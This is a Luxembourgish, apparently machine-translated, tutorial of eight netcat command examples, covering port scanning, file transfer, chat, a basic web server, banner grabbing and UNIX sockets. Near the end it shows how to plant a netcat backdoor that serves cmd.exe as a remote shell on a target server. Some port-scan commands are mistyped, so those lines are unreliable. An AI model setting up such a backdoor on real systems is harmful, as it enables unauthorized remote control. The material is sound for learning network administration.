8 Netcat (nc) Kommando mat Beispiller


Netcat (oder nc kuerz) ass en einfacht awer mächtegt Netzwierk Kommandozeil Tool dat benotzt gëtt fir all Operatioun am Linux am Zesummenhang mat TCP, UDP oder UNIX-Domain Sockets auszeféieren.

Netcat kann fir Port Scannen benotzt ginn, port Viruleedung, als port nolauschterer (fir Entréeën Verbindungen); et kann och benotzt ginn fir Fernverbindungen opzemaachen an esou vill aner Saachen. Ausserdeem kënnt Dir et als Backdoor benotzen fir Zougang zu engem Zilserver ze kréien.

An dësem Artikel wäerte mir d'Netcat Benotzungsbefehle mat Beispiller erklären.

Wéi installéiere a benotzt Netcat op Linux

Fir den Netcat Package op Ärem System z'installéieren, benotzt de Standard Package Manager fir Är Linux Verdeelung.

$ yum install nc                  [On CentOS/RHEL]
$ dnf install nc                  [On Fedora 22+ and RHEL 8]
$ sudo apt-get install Netcat     [On Debian/Ubuntu]

Wann netcat Package installéiert ass, kënnt Dir weidergoen fir d'Benotzung vum netcat Kommando an de folgende Beispiller ze léieren.

Netcat ka fir Port Scannen benotzt ginn: fir ze wëssen wéi eng Ports op sinn a lafen Servicer op enger Zilmaschinn. Et kann een eenzegen oder multiple oder eng Rei vun oppene Ports scannen.

Hei ass e Beispill, d'Optioun -z setzt nc fir einfach ze scannen fir Dämonen ze lauschteren, ouni tatsächlech Daten un hinnen ze schécken. D'Optioun -v aktivéiert verbose Modus an -w spezifizéiert en Timeout fir d'Verbindung déi net etabléiert ka ginn.

$ nc -v -w 2 z 192.168.56.1 22     #scan a single port
OR
$ nc -v -w 2 z 192.168.56.1 22 80  #scan multiple ports
OR
$ nc -v -w 2 z 192.168.56.1 20-25  #scan range of ports

Netcat erlaabt Iech Dateien tëscht zwee Linux Computeren oder Serveren ze transferéieren a béid dës Systemer mussen nc installéiert hunn.

Zum Beispill, fir eng ISO Bilddatei vun engem Computer op en aneren ze kopéieren an den Transfert Fortschrëtt ze iwwerwaachen (mat der pv Utility), fuert de folgende Kommando op de Sender/Server Computer (wou d'ISO Datei existéiert).

Dëst leeft nc am Nolauschtermodus (-l Fändel) um Hafen 3000.

$ tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso  | pv | nc -l -p 3000 -q 5

An op den Empfänger/Client Computer, lafen de folgende Kommando fir d'Datei ze kréien.

$ nc 192.168.1.4 3000 | pv | tar -zxf -

Dir kënnt och Netcat benotzen fir en einfachen Kommandozeil Messagerie Server direkt ze kreéieren. Wéi am fréiere Benotzungsbeispill, muss nc op béide Systemer installéiert ginn, déi fir den Chatraum benotzt ginn.

Op engem System, fuert de folgende Kommando aus fir den Chat-Server ze kreéieren deen um Port 5000 lauschtert.

$ nc -l -vv -p 5000

Op deem anere System, fuert de folgende Kommando fir eng Chat Sessioun op eng Maschinn ze lancéieren wou de Messagerie Server leeft.

$ nc 192.168.56.1 5000

Mat der -l Optioun vum nc Kommando benotzt fir e Basis, onséchere Webserver ze kreéieren fir statesch Webdateien fir Léierzwecker ze déngen. Fir dëst ze demonstréieren, erstellt eng .html Datei wéi gewisen.

$ vim index.html

Füügt déi folgend HTML Zeilen an der Datei.

<html>
        <head>
                <title>Test Page</title>
        </head>
        <body>
                      <p>Serving this file using Netcat Basic HTTP server!</p>
        </body>
</html>

Späichert d'Ännerungen an der Datei a gitt eraus.

Dann déngt déi uewe genannte Datei iwwer HTTP andeems Dir de folgende Kommando ausféiert, wat den HTTP-Server erlaabt kontinuéierlech ze lafen.

$ while : ; do ( echo -ne "HTTP/1.1 200 OK\r\n" ; cat index.html; ) | nc -l -p 8080 ; done

Dann öffnen e Webbrowser a kënnt op den Inhalt mat der folgender Adress zougräifen.

http://localhost:8080
OR
http://SERVER_IP:8080

Notéiert datt Dir den Netcat HTTP-Server stoppen kënnt andeems Dir [Ctrl+ C] dréckt.

Eng aner nëtzlech Notzung vun Netcat ass fir Serververbindungsprobleemer ze léisen. Hei kënnt Dir Netcat benotzen fir z'iwwerpréiwen wéi eng Donnéeën e Server schéckt als Äntwert op Befehle vum Client.

De folgende Kommando recuperéiert d'Homepage vun example.com.

$ printf "GET / HTTP/1.0\r\n\r\n" | nc text.example.com 80

D'Output vum uewe genannte Kommando enthält d'Header déi vum Webserver geschéckt ginn, déi fir Problembehandlungszwecker benotzt kënne ginn.

Dir kënnt och Netcat benotzen port Banneren ze kréien. An dësem Fall wäert et Iech soen wat Service hannert engem bestëmmten Hafen leeft. Zum Beispill fir ze wëssen wéi eng Zort Service hannert dem Hafen 22 op engem spezifesche Server leeft, fuert de folgende Kommando (ersetzt 192.168.56.110 mat der IP Adress vum Zilserver). De -n Fändel bedeit DNS oder Service Lookups auszeschalten.

$ nc -v -n 192.168.56.110 80

Netcat ënnerstëtzt och d'Schafung vun UNIX-Domain Stream Sockets. De folgende Kommando erstellt a lauschtert op engem UNIX-Domain Stream Socket.

$ nc -lU /var/tmp/mysocket &
$ ss -lpn | grep "/var/tmp/"

Dir kënnt och Netcat als Backdoor lafen. Dat fuerdert awer méi Aarbecht. Wann Netcat op engem Zilserver installéiert ass, kënnt Dir et benotze fir eng Backdoor ze kreéieren, fir eng Fernbefehl ze kréien.

Fir e Backdoor ze handelen braucht Dir Netcat fir op engem gewielten Hafen ze lauschteren (zB Port 3001) um Zilserver an da kënnt Dir mat dësem Hafen vun Ärer Maschinn konnektéieren wéi follegt.

Dëst ass de Kommando geduecht fir op de Remote Server ze lafen, wou d'Optioun -d d'Liesen aus stdin ausschalt, an -e de Kommando spezifizéiert fir um Zilsystem ze lafen.

$ nc -L -p 3001 -d -e cmd.exe 

Lescht awer net zulescht, Netcat kann als Proxy fir verschidde Servicer/Protokoller benotzt ginn, dorënner HTTP, SSH, a vill méi. Fir méi Informatioun, kuckt seng Man Säit.

$ man nc

An dësem Artikel hu mir 8 praktesch Netcat Kommando Benotzungsbeispiller erkläert. Wann Dir all aner praktesch Benotzungsfall (en) kennt, deelt mat eis iwwer de Feedbackformular hei ënnen. Dir kënnt och eng Fro stellen.